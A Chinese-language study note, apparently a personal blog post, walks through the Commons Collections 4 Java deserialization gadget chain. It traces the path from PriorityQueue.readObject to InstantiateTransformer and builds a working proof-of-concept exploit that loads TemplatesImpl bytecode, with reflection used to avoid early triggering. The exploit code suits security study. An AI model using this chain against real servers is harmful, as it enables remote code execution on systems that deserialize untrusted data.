环境
分析
这次的CC4 最后没有用到InvokerTransformer,而是InstantiateTransformer,看到他的transform(),之前CC3就接触到这个,后面有个实例化刚好符合类加载 所以这次的终点是InstantiateTransformer#transform,开始倒推

发现TransformingComparator#compare 里面调用了transform(),而且里面的this.tranformer可以通过构造函数控制值

再find usage,来到PriorityQueue#siftDownComparable

就这么一步一步往上找,最后刚好能找到有一个readObject入口,很顺利,链子倒推就是
| 12
 3
 4
 5
 6
 
 | InstantiateTransformer.transform()-> TransformingComparator.compare()
 -> PriorityQueue.siftDownComparable()
 -> PriorityQueue.siftFown()
 -> PriorityQueue.heapify()
 -> PriorityQueue.readObject()
 
 | 
然后这里TransformingComparator.compare()就是public了,直接修改这后面的东西,前面那一段等反序列化自动调用即可
EXP编写
先结合之前CC3的内容,尝试直接调用transform()
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | public class CC4 {public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
 byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates,"_name","Calc");
 setFieldValue(templates,"_bytecodes",new byte[][]{calc});
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(TrAXFilter.class),
 new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
 };
 
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 chainedTransformer.transform(1);
 }
 
 public static void setFieldValue(Object object, String fieldName, Object filedValue) throws IllegalAccessException, NoSuchFieldException {
 Field filed = object.getClass().getDeclaredField(fieldName);
 filed.setAccessible(true);
 filed.set(object,filedValue);
 }
 }
 
 | 
这样执行成功弹出计算机,接下来尝试调用compare()
前面的内容不变
| 12
 3
 4
 
 | -->
 TransformingComparator comparator = new TransformingComparator(chainedTransformer);
 comparator.compare(1,2);
 
 | 
没问题,接下来尝试把comparator包在PriorityQueue里面,然后直接尝试序列化反序列化
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 |     public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates,"_name","Calc");
 setFieldValue(templates,"_bytecodes",new byte[][]{calc});
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(TrAXFilter.class),
 new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
 };
 
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 TransformingComparator comparator = new TransformingComparator(chainedTransformer);
 
 
 PriorityQueue priorityQueue = new PriorityQueue<>(comparator);
 serialize(priorityQueue);
 unserialize("ser.bin");
 }
 
 | 
但是这次执行失败,按理说是没问题的,调试一下,把断点打在heapify()里面

跟进,发现这个for都进不去

我们要控制(size >>> 1) - 1运算结果大于等于0,size是2就好,那我们前面多给priorityQueue加两个东西,使得size是2就能进去for循环
| 12
 
 | priorityQueue.add(1);priorityQueue.add(2);
 
 | 
这次再跟进就能进入for循环了,但是这次发现没有序列化反序列化就会弹计算机了
这次跟进到add里面,发现在add的过程中会跳到compare一次然后调用transform()后面一系列流程,相当于提前走了readObject流程的后半部份,让我联想到CC6里面其中一部份到了put也会自动弹计算机,解决思路就是在add的时候先控制对象里面没有我们要加载的字节码相关内容,add之后再通过反射修改回去
最后poc
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 
 |     public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates,"_name","Calc");
 setFieldValue(templates,"_bytecodes",new byte[][]{calc});
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(TrAXFilter.class),
 new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
 };
 
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
 
 
 PriorityQueue priorityQueue = new PriorityQueue<>(comparator);
 priorityQueue.add(1);
 priorityQueue.add(2);
 
 Class c = Class.forName("org.apache.commons.collections4.comparators.TransformingComparator");
 Field comparatorField = c.getDeclaredField("transformer");
 comparatorField.setAccessible(true);
 comparatorField.set(comparator,chainedTransformer);
 
 serialize(priorityQueue);
 unserialize("ser.txt");
 }
 
 | 
总结
有了前面三个链子,再看CC4里面的问题,确实简单多了,希望自己写笔记的效率能高点

画了张小图,如果有错误十分欢迎找我指正🙏
参考
https://drun1baby.top/2022/06/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8706-CC4%E9%93%BE/
https://www.cnblogs.com/1vxyz/p/17473641.html